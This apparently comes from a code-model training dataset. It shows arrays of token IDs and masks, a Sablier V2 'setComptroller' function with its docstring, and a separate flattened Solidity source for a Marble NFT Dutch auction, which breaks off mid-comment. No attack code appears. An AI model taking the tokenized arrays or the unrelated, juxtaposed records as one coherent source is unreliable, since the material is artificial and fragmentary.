[ 1, 565, 445, 923, 1345, 4154, 12, 2867, 389, 9341, 6291, 1345, 16, 1758, 389, 18704, 1345, 13, 2713, 1476, 1135, 12, 6430, 13, 288, 203, 3639, 1758, 26917, 1345, 273, 467, 61, 73, 1303, 12003, 24899, 18704, 1345, 2934, 2316, 5621, 203, 3639, 327, 26917, 1345, 422, 389, 9341, 6291, 1345, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xB10daee1FCF62243aE27776D7a92D39dC8740f95/sources/src/abstracts/SablierV2Base.sol
@inheritdoc ISablierV2Base Effects: set the new comptroller. Log the change of the comptroller.
function setComptroller(ISablierV2Comptroller newComptroller) external override onlyAdmin { ISablierV2Comptroller oldComptroller = comptroller; comptroller = newComptroller; emit ISablierV2Base.SetComptroller({ admin: msg.sender, oldComptroller: oldComptroller, newComptroller: newComptroller }); }
9,308,441
[ 1, 36, 10093, 4437, 378, 9800, 58, 22, 2171, 30755, 87, 30, 444, 326, 394, 532, 337, 1539, 18, 1827, 326, 2549, 434, 326, 532, 337, 1539, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 799, 337, 1539, 12, 5127, 378, 9800, 58, 22, 799, 337, 1539, 394, 799, 337, 1539, 13, 3903, 3849, 1338, 4446, 288, 203, 3639, 4437, 378, 9800, 58, 22, 799, 337, 1539, 1592, 799, 337, 1539, 273, 532, 337, 1539, 31, 203, 3639, 532, 337, 1539, 273, 394, 799, 337, 1539, 31, 203, 203, 3639, 3626, 4437, 378, 9800, 58, 22, 2171, 18, 694, 799, 337, 1539, 12590, 203, 5411, 3981, 30, 1234, 18, 15330, 16, 203, 5411, 1592, 799, 337, 1539, 30, 1592, 799, 337, 1539, 16, 203, 5411, 394, 799, 337, 1539, 30, 394, 799, 337, 1539, 203, 3639, 15549, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-02-08 */ // File: @0xcert/ethereum-erc721/contracts/tokens/ERC721.sol pragma solidity ^0.4.24; /** * @dev ERC-721 non-fungible token standard. See https://goo.gl/pc9yoS. */ interface ERC721 { /** * @dev Emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are * created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any * number of NFTs may be created and assigned without emitting Transfer. At the time of any * transfer, the approved address for that NFT (if any) is reset to none. */ event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); /** * @dev This emits when the approved address for an NFT is changed or reaffirmed. The zero * address indicates there is no approved address. When a Transfer event emits, this also * indicates that the approved address for that NFT (if any) is reset to none. */ event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); /** * @dev This emits when an operator is enabled or disabled for an owner. The operator can manage * all NFTs of the owner. */ event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); /** * @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are * considered invalid, and this function throws for queries about the zero address. * @param _owner Address for whom to query the balance. */ function balanceOf( address _owner ) external view returns (uint256); /** * @dev Returns the address of the owner of the NFT. NFTs assigned to zero address are considered * invalid, and queries about them do throw. * @param _tokenId The identifier for an NFT. */ function ownerOf( uint256 _tokenId ) external view returns (address); /** * @dev Transfers the ownership of an NFT from one address to another address. * @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the * approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is * the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this * function checks if `_to` is a smart contract (code size > 0). If so, it calls `onERC721Received` * on `_to` and throws if the return value is not `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. * @param _data Additional data with no specified format, sent in call to `_to`. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) external; /** * @dev Transfers the ownership of an NFT from one address to another address. * @notice This works identically to the other function with an extra data parameter, except this * function just sets data to "" * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external; /** * @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved * address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero * address. Throws if `_tokenId` is not a valid NFT. * @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else * they mayb be permanently lost. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function transferFrom( address _from, address _to, uint256 _tokenId ) external; /** * @dev Set or reaffirm the approved address for an NFT. * @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is * the current NFT owner, or an authorized operator of the current owner. * @param _approved The new approved NFT controller. * @param _tokenId The NFT to approve. */ function approve( address _approved, uint256 _tokenId ) external; /** * @dev Enables or disables approval for a third party ("operator") to manage all of * `msg.sender`'s assets. It also emits the ApprovalForAll event. * @notice The contract MUST allow multiple operators per owner. * @param _operator Address to add to the set of authorized operators. * @param _approved True if the operators is approved, false to revoke approval. */ function setApprovalForAll( address _operator, bool _approved ) external; /** * @dev Get the approved address for a single NFT. * @notice Throws if `_tokenId` is not a valid NFT. * @param _tokenId The NFT to find the approved address for. */ function getApproved( uint256 _tokenId ) external view returns (address); /** * @dev Returns true if `_operator` is an approved operator for `_owner`, false otherwise. * @param _owner The address that owns the NFTs. * @param _operator The address that acts on behalf of the owner. */ function isApprovedForAll( address _owner, address _operator ) external view returns (bool); } // File: @0xcert/ethereum-utils/contracts/utils/ERC165.sol pragma solidity ^0.4.24; /** * @dev A standard for detecting smart contract interfaces. See https://goo.gl/cxQCse. */ interface ERC165 { /** * @dev Checks if the smart contract includes a specific interface. * @notice This function uses less than 30,000 gas. * @param _interfaceID The interface identifier, as specified in ERC-165. */ function supportsInterface( bytes4 _interfaceID ) external view returns (bool); } // File: @0xcert/ethereum-utils/contracts/math/SafeMath.sol pragma solidity ^0.4.24; /** * @dev Math operations with safety checks that throw on error. This contract is based * on the source code at https://goo.gl/iyQsmU. */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. * @param _a Factor number. * @param _b Factor number. */ function mul( uint256 _a, uint256 _b ) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. * @param _a Dividend number. * @param _b Divisor number. */ function div( uint256 _a, uint256 _b ) internal pure returns (uint256) { uint256 c = _a / _b; // assert(b > 0); // Solidity automatically throws when dividing by 0 // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). * @param _a Minuend number. * @param _b Subtrahend number. */ function sub( uint256 _a, uint256 _b ) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. * @param _a Number. * @param _b Number. */ function add( uint256 _a, uint256 _b ) internal pure returns (uint256) { uint256 c = _a + _b; assert(c >= _a); return c; } } // File: @0xcert/ethereum-utils/contracts/utils/SupportsInterface.sol pragma solidity ^0.4.24; /** * @dev Implementation of standard for detect smart contract interfaces. */ contract SupportsInterface is ERC165 { /** * @dev Mapping of supported intefraces. * @notice You must not set element 0xffffffff to true. */ mapping(bytes4 => bool) internal supportedInterfaces; /** * @dev Contract constructor. */ constructor() public { supportedInterfaces[0x01ffc9a7] = true; // ERC165 } /** * @dev Function to check which interfaces are suported by this contract. * @param _interfaceID Id of the interface. */ function supportsInterface( bytes4 _interfaceID ) external view returns (bool) { return supportedInterfaces[_interfaceID]; } } // File: @0xcert/ethereum-utils/contracts/utils/AddressUtils.sol pragma solidity ^0.4.24; /** * @dev Utility library of inline functions on addresses. */ library AddressUtils { /** * @dev Returns whether the target address is a contract. * @param _addr Address to check. */ function isContract( address _addr ) internal view returns (bool) { uint256 size; /** * XXX Currently there is no better way to check if there is a contract in an address than to * check the size of the code at that address. * See https://ethereum.stackexchange.com/a/14016/36603 for more details about how this works. * TODO: Check this again before the Serenity release, because all addresses will be * contracts then. */ assembly { size := extcodesize(_addr) } // solium-disable-line security/no-inline-assembly return size > 0; } } // File: contracts/DutchAuctionBase.sol pragma solidity ^0.4.24; /** * @title Dutch Auction Base * @dev Contains model defining Auction, public variables as reference to nftContract. It is expected that auctioneer is owner of the contract. Dutch auction by wiki - https://en.wikipedia.org/wiki/Dutch_auction. Contract is inspired by https://github.com/nedodn/NFT-Auction and https://github.com/dapperlabs/cryptokitties-bounty/tree/master/contracts/Auction/ * @notice Contract omits a fallback function to prevent accidental eth transfers. */ contract DutchAuctionBase is SupportsInterface { using SafeMath for uint128; using SafeMath for uint256; using AddressUtils for address; // Model of NFt auction struct Auction { // Address of person who placed NFT to auction address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction when price is moving, lets say, it determines dynamic part of auction price creation. uint64 duration; // Time when auction started, yep 256, we consider ours NFTs almost immortal!!! :) uint256 startedAt; // Determine if seller can cancel auction before dynamic part of auction ends! Let have some hard core sellers!!! bool delayedCancel; } // Owner of the contract is considered as Auctioneer, so it supposed to have some share from successful sale. // Value in between 0-10000 (1% is equal to 100) uint16 public auctioneerCut; // Cut representing auctioneers earnings from auction with delayed cancel // Value in between 0-10000 (1% is equal to 100) uint16 public auctioneerDelayedCancelCut; // Reference to contract tracking NFT ownership ERC721 public nftContract; // Maps Token ID with Auction mapping (uint256 => Auction) public tokenIdToAuction; event AuctionCreated(uint256 tokenId, address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, bool delayedCancel); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); /** * @dev Adds new auction and fires AuctionCreated event. * @param _tokenId NFT ID * @param _auction Auction to add. */ function _addAuction(uint256 _tokenId, Auction _auction) internal { // Dynamic part of acution hast to be at least 1 minute require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; emit AuctionCreated( _tokenId, _auction.seller, uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration), _auction.delayedCancel ); } /** * @dev Cancels auction and transfer token to provided address * @param _tokenId ID of NFT */ function _cancelAuction(uint256 _tokenId) internal { Auction storage auction = tokenIdToAuction[_tokenId]; address _seller = auction.seller; _removeAuction(_tokenId); // return Token to seller nftContract.transferFrom(address(this), _seller, _tokenId); emit AuctionCancelled(_tokenId); } /** * @dev Handles bid placemant. If bid is valid then calculates auctioneers cut and sellers revenue. * @param _tokenId ID of NFT * @param _offer value in wei representing what buyer is willing to pay for NFT */ function _bid(uint256 _tokenId, uint256 _offer) internal { // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction), "Can not place bid. NFT is not on auction!"); // Check that the bid is greater than or equal to the current price uint256 price = _currentPrice(auction); require(_offer >= price, "Bid amount has to be higher or equal than current price!"); // Put seller address before auction is deleted. address seller = auction.seller; // Keep auction type even after auction is deleted. bool isCancelDelayed = auction.delayedCancel; // Remove the auction before sending the fees to the sender so we can't have a reentrancy attack. _removeAuction(_tokenId); // Transfer revenue to seller if (price > 0) { // Calculate the auctioneer's cut. uint256 computedCut = _computeCut(price, isCancelDelayed); uint256 sellerRevenue = price.sub(computedCut); /** * NOTE: !! Doing a transfer() in the middle of a complex method is dangerous!!! * because of reentrancy attacks and DoS attacks if the seller is a contract with an invalid fallback function. We explicitly * guard against reentrancy attacks by removing the auction before calling transfer(), * and the only thing the seller can DoS is the sale of their own asset! (And if it's an accident, they can call cancelAuction(). ) */ seller.transfer(sellerRevenue); } // Calculate any excess funds included with the bid. Excess should be transfered back to bidder. uint256 bidExcess = _offer.sub(price); // Return additional funds. This is not susceptible to a re-entry attack because the auction is removed before any transfers occur. msg.sender.transfer(bidExcess); emit AuctionSuccessful(_tokenId, price, msg.sender); } /** * @dev Returns true if the NFT is on auction. * @param _auction - Auction to check. */ function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.seller != address(0)); } /** * @dev Returns true if auction price is dynamic * @param _auction Auction to check. */ function _durationIsOver(Auction storage _auction) internal view returns (bool) { uint256 secondsPassed = 0; secondsPassed = now.sub(_auction.startedAt); // TODO - what about 30 seconds of tolerated difference of miners clocks?? return (secondsPassed >= _auction.duration); } /** * @dev Returns current price of auction. * @param _auction Auction to check current price */ function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; if (now > _auction.startedAt) { secondsPassed = now.sub(_auction.startedAt); } if (secondsPassed >= _auction.duration) { // End of dynamic part of auction. return _auction.endingPrice; } else { // Note - working with int256 not with uint256!! Delta can be negative. int256 totalPriceChange = int256(_auction.endingPrice) - int256(_auction.startingPrice); int256 currentPriceChange = totalPriceChange * int256(secondsPassed) / int256(_auction.duration); int256 currentPrice = int256(_auction.startingPrice) + currentPriceChange; return uint256(currentPrice); } } /** * @dev Computes auctioneer's cut of a sale. * @param _price - Sale price of NFT. * @param _isCancelDelayed - Determines what kind of cut is used for calculation */ function _computeCut(uint256 _price, bool _isCancelDelayed) internal view returns (uint256) { if (_isCancelDelayed) { return _price * auctioneerDelayedCancelCut / 10000; } return _price * auctioneerCut / 10000; } /* * @dev Removes auction from auction list * @param _tokenId NFT on auction */ function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } } // File: contracts/DutchAuctionEnumerable.sol pragma solidity ^0.4.24; /** * @title Extension of Auction Base (core). Allows to enumarate auctions. * @dev It's highly inspired by https://github.com/0xcert/ethereum-erc721/blob/master/contracts/tokens/NFTokenEnumerable.sol */ contract DutchAuctionEnumerable is DutchAuctionBase { // array of tokens in auction uint256[] public tokens; /** * @dev Mapping from token ID its index in global tokens array. */ mapping(uint256 => uint256) public tokenToIndex; /** * @dev Mapping from owner to list of owned NFT IDs in this auction. */ mapping(address => uint256[]) public sellerToTokens; /** * @dev Mapping from NFT ID to its index in the seller tokens list. */ mapping(uint256 => uint256) public tokenToSellerIndex; /** * @dev Adds an auction to the list of open auctions. Also fires the * AuctionCreated event. * @param _token The ID of the token to be put on auction. * @param _auction Auction to add. */ function _addAuction(uint256 _token, Auction _auction) internal { super._addAuction(_token, _auction); uint256 length = tokens.push(_token); tokenToIndex[_token] = length - 1; length = sellerToTokens[_auction.seller].push(_token); tokenToSellerIndex[_token] = length - 1; } /* * @dev Removes an auction from the list of open auctions. * @param _token - ID of NFT on auction. */ function _removeAuction(uint256 _token) internal { assert(tokens.length > 0); Auction memory auction = tokenIdToAuction[_token]; // auction has to be defined assert(auction.seller != address(0)); assert(sellerToTokens[auction.seller].length > 0); uint256 sellersIndexOfTokenToRemove = tokenToSellerIndex[_token]; uint256 lastSellersTokenIndex = sellerToTokens[auction.seller].length - 1; uint256 lastSellerToken = sellerToTokens[auction.seller][lastSellersTokenIndex]; sellerToTokens[auction.seller][sellersIndexOfTokenToRemove] = lastSellerToken; sellerToTokens[auction.seller].length--; tokenToSellerIndex[lastSellerToken] = sellersIndexOfTokenToRemove; tokenToSellerIndex[_token] = 0; uint256 tokenIndex = tokenToIndex[_token]; assert(tokens[tokenIndex] == _token); // Sanity check. This could be removed in the future. uint256 lastTokenIndex = tokens.length - 1; uint256 lastToken = tokens[lastTokenIndex]; tokens[tokenIndex] = lastToken; tokens.length--; // nullify token index reference tokenToIndex[lastToken] = tokenIndex; tokenToIndex[_token] = 0; super._removeAuction(_token); } /** * @dev Returns the count of all existing auctions. */ function totalAuctions() external view returns (uint256) { return tokens.length; } /** * @dev Returns NFT ID by its index. * @param _index A counter less than `totalSupply()`. */ function tokenInAuctionByIndex( uint256 _index ) external view returns (uint256) { require(_index < tokens.length); // Sanity check. This could be removed in the future. assert(tokenToIndex[tokens[_index]] == _index); return tokens[_index]; } /** * @dev returns the n-th NFT ID from a list of owner's tokens. * @param _seller Token owner's address. * @param _index Index number representing n-th token in owner's list of tokens. */ function tokenOfSellerByIndex( address _seller, uint256 _index ) external view returns (uint256) { require(_index < sellerToTokens[_seller].length); return sellerToTokens[_seller][_index]; } /** * @dev Returns the count of all existing auctions. */ function totalAuctionsBySeller( address _seller ) external view returns (uint256) { return sellerToTokens[_seller].length; } } // File: contracts/MarbleNFTInterface.sol pragma solidity ^0.4.24; /** * @title Marble NFT Interface * @dev Defines Marbles unique extension of NFT. * ...It contains methodes returning core properties what describe Marble NFTs and provides management options to create, * burn NFT or change approvals of it. */ interface MarbleNFTInterface { /** * @dev Mints Marble NFT. * @notice This is a external function which should be called just by the owner of contract or any other user who has priviladge of being resposible * of creating valid Marble NFT. Valid token contains all neccessary information to be able recreate marble card image. * @param _tokenId The ID of new NFT. * @param _owner Address of the NFT owner. * @param _uri Unique URI proccessed by Marble services to be sure it is valid NFTs DNA. Most likely it is URL pointing to some website address. * @param _metadataUri URI pointing to "ERC721 Metadata JSON Schema" * @param _tokenId ID of the NFT to be burned. */ function mint( uint256 _tokenId, address _owner, address _creator, string _uri, string _metadataUri, uint256 _created ) external; /** * @dev Burns Marble NFT. Should be fired only by address with proper authority as contract owner or etc. * @param _tokenId ID of the NFT to be burned. */ function burn( uint256 _tokenId ) external; /** * @dev Allowes to change approval for change of ownership even when sender is not NFT holder. Sender has to have special role granted by contract to use this tool. * @notice Careful with this!!!! :)) * @param _tokenId ID of the NFT to be updated. * @param _approved ETH address what supposed to gain approval to take ownership of NFT. */ function forceApproval( uint256 _tokenId, address _approved ) external; /** * @dev Returns properties used for generating NFT metadata image (a.k.a. card). * @param _tokenId ID of the NFT. */ function tokenSource(uint256 _tokenId) external view returns ( string uri, address creator, uint256 created ); /** * @dev Returns ID of NFT what matches provided source URI. * @param _uri URI of source website. */ function tokenBySourceUri(string _uri) external view returns (uint256 tokenId); /** * @dev Returns all properties of Marble NFT. Lets call it Marble NFT Model with properties described below: * @param _tokenId ID of NFT * Returned model: * uint256 id ID of NFT * string uri URI of source website. Website is used to mine data to crate NFT metadata image. * string metadataUri URI to NFT metadata assets. In our case to our websevice providing JSON with additional information based on "ERC721 Metadata JSON Schema". * address owner NFT owner address. * address creator Address of creator of this NFT. It means that this addres placed sourceURI to candidate contract. * uint256 created Date and time of creation of NFT candidate. * * (id, uri, metadataUri, owner, creator, created) */ function getNFT(uint256 _tokenId) external view returns( uint256 id, string uri, string metadataUri, address owner, address creator, uint256 created ); /** * @dev Transforms URI to hash. * @param _uri URI to be transformed to hash. */ function getSourceUriHash(string _uri) external view returns(uint256 hash); } // File: @0xcert/ethereum-utils/contracts/ownership/Ownable.sol pragma solidity ^0.4.24; /** * @dev The contract has an owner address, and provides basic authorization control whitch * simplifies the implementation of user permissions. This contract is based on the source code * at https://goo.gl/n2ZGVt. */ contract Ownable { address public owner; /** * @dev An event which is triggered when the owner is changed. * @param previousOwner The address of the previous owner. * @param newOwner The address of the new owner. */ event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The constructor sets the original `owner` of the contract to the sender account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership( address _newOwner ) onlyOwner public { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: @0xcert/ethereum-utils/contracts/ownership/Claimable.sol pragma solidity ^0.4.24; /** * @dev The contract has an owner address, and provides basic authorization control whitch * simplifies the implementation of user permissions. This contract is based on the source code * at goo.gl/CfEAkv and upgrades Ownable contracts with additional claim step which makes ownership * transfers less prone to errors. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev An event which is triggered when the owner is changed. * @param previousOwner The address of the previous owner. * @param newOwner The address of the new owner. */ event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Allows the current owner to give new owner ability to claim the ownership of the contract. * This differs from the Owner's function in that it allows setting pedingOwner address to 0x0, * which effectively cancels an active claim. * @param _newOwner The address which can claim ownership of the contract. */ function transferOwnership( address _newOwner ) onlyOwner public { pendingOwner = _newOwner; } /** * @dev Allows the current pending owner to claim the ownership of the contract. It emits * OwnershipTransferred event and resets pending owner to 0. */ function claimOwnership() public { require(msg.sender == pendingOwner); address previousOwner = owner; owner = pendingOwner; pendingOwner = 0; emit OwnershipTransferred(previousOwner, owner); } } // File: contracts/Adminable.sol pragma solidity ^0.4.24; /** * @title Adminable * @dev Allows to manage privilages to special contract functionality. */ contract Adminable is Claimable { mapping(address => uint) public adminsMap; address[] public adminList; /** * @dev Returns true, if provided address has special privilages, otherwise false * @param adminAddress - address to check */ function isAdmin(address adminAddress) public view returns(bool isIndeed) { if (adminAddress == owner) return true; if (adminList.length == 0) return false; return (adminList[adminsMap[adminAddress]] == adminAddress); } /** * @dev Grants special rights for address holder * @param adminAddress - address of future admin */ function addAdmin(address adminAddress) public onlyOwner returns(uint index) { require(!isAdmin(adminAddress), "Address already has admin rights!"); adminsMap[adminAddress] = adminList.push(adminAddress)-1; return adminList.length-1; } /** * @dev Removes special rights for provided address * @param adminAddress - address of current admin */ function removeAdmin(address adminAddress) public onlyOwner returns(uint index) { // we can not remove owner from admin role require(owner != adminAddress, "Owner can not be removed from admin role!"); require(isAdmin(adminAddress), "Provided address is not admin."); uint rowToDelete = adminsMap[adminAddress]; address keyToMove = adminList[adminList.length-1]; adminList[rowToDelete] = keyToMove; adminsMap[keyToMove] = rowToDelete; adminList.length--; return rowToDelete; } /** * @dev modifier Throws if called by any account other than the owner. */ modifier onlyAdmin() { require(isAdmin(msg.sender), "Can be executed only by admin accounts!"); _; } } // File: contracts/Priceable.sol pragma solidity ^0.4.24; /** * @title Priceable * @dev Contracts allows to handle ETH resources of the contract. */ contract Priceable is Claimable { using SafeMath for uint256; /** * @dev Emits when owner take ETH out of contract * @param balance - amount of ETh sent out from contract */ event Withdraw(uint256 balance); /** * @dev modifier Checks minimal amount, what was sent to function call. * @param _minimalAmount - minimal amount neccessary to continue function call */ modifier minimalPrice(uint256 _minimalAmount) { require(msg.value >= _minimalAmount, "Not enough Ether provided."); _; } /** * @dev modifier Associete fee with a function call. If the caller sent too much, then is refunded, but only after the function body. * This was dangerous before Solidity version 0.4.0, where it was possible to skip the part after `_;`. * @param _amount - ether needed to call the function */ modifier price(uint256 _amount) { require(msg.value >= _amount, "Not enough Ether provided."); _; if (msg.value > _amount) { msg.sender.transfer(msg.value.sub(_amount)); } } /* * @dev Remove all Ether from the contract, and transfer it to account of owner */ function withdrawBalance() external onlyOwner { uint256 balance = address(this).balance; msg.sender.transfer(balance); // Tell everyone !!!!!!!!!!!!!!!!!!!!!! emit Withdraw(balance); } // fallback function that allows contract to accept ETH function () public payable {} } // File: contracts/Pausable.sol pragma solidity ^0.4.24; /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism for mainenance purposes */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() external onlyOwner whenNotPaused returns (bool) { paused = true; emit Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() external onlyOwner whenPaused returns (bool) { paused = false; emit Unpause(); return true; } } // File: contracts/MarbleDutchAuctionInterface.sol pragma solidity ^0.4.24; /** * @title Marble Dutch Auction Interface * @dev describes all externaly accessible functions neccessery to run Marble Auctions */ interface MarbleDutchAuctionInterface { /** * @dev Sets new auctioneer cut, in case we are to cheap :)) * @param _cut - percent cut the auctioneer takes on each auction, must be between 0-100. Values 0-10,000 map to 0%-100%. */ function setAuctioneerCut( uint256 _cut ) external; /** * @dev Sets new auctioneer delayed cut, in case we are not earning much during creating NFTs initial auctions! * @param _cut Percent cut the auctioneer takes on each auction, must be between 0-10000. Values 0-10,000 map to 0%-100%. */ function setAuctioneerDelayedCancelCut( uint256 _cut ) external; /** * @dev Sets an addresses of ERC 721 contract owned/admined by same entity. * @param _nftAddress Address of ERC 721 contract */ function setNFTContract(address _nftAddress) external; /** * @dev Creates new auction without special logic. It allows user to sell owned Marble NFTs * @param _tokenId ID of token to auction, sender must be owner. * @param _startingPrice Price of item (in wei) at beginning of auction. * @param _endingPrice Price of item (in wei) at end of auction. * @param _duration Length of time to move between starting price and ending price (in seconds) - it determines dynamic state of auction */ function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) external; /** * @dev Creates and begins a new minting auction. Minitng auction is initial auction allowing to challenge newly Minted Marble NFT. * If no-one buy NFT during dynamic state of auction, then seller (original creator of NFT) will be allowed to become owner of NFT. It means during dynamic (duration) * state of auction, it won't be possible to use cancelAuction function by seller! * @param _tokenId - ID of token to auction, sender must be owner. * @param _startingPrice - Price of item (in wei) at beginning of auction. * @param _endingPrice - Price of item (in wei) at end of auction. * @param _duration - Length of time to move between starting price and ending price (in seconds). * @param _seller - Seller, if not the message sender */ function createMintingAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) external; /** * @dev It allows seller to cancel auction and get back Marble NFT. * @param _tokenId ID of token on auction */ function cancelAuction( uint256 _tokenId ) external; /** * @dev It allows seller to cancel auction and get back Marble NFT. * @param _tokenId ID of token on auction */ function cancelAuctionWhenPaused( uint256 _tokenId ) external; /** * @dev Bids on an open auction, completing the auction and transferring ownership of the NFT if enough Ether is supplied. * @param _tokenId ID of token to bid on. */ function bid( uint256 _tokenId ) external payable; /** * @dev Returns the current price of an auction. * @param _tokenId ID of the token price we are checking. */ function getCurrentPrice(uint256 _tokenId) external view returns (uint256); /** * @dev Returns the count of all existing auctions. */ function totalAuctions() external view returns (uint256); /** * @dev Returns NFT ID by its index. * @param _index A counter less than `totalSupply()`. */ function tokenInAuctionByIndex( uint256 _index ) external view returns (uint256); /** * @dev Returns the n-th NFT ID from a list of owner's tokens. * @param _seller Token owner's address. * @param _index Index number representing n-th token in owner's list of tokens. */ function tokenOfSellerByIndex( address _seller, uint256 _index ) external view returns (uint256); /** * @dev Returns the 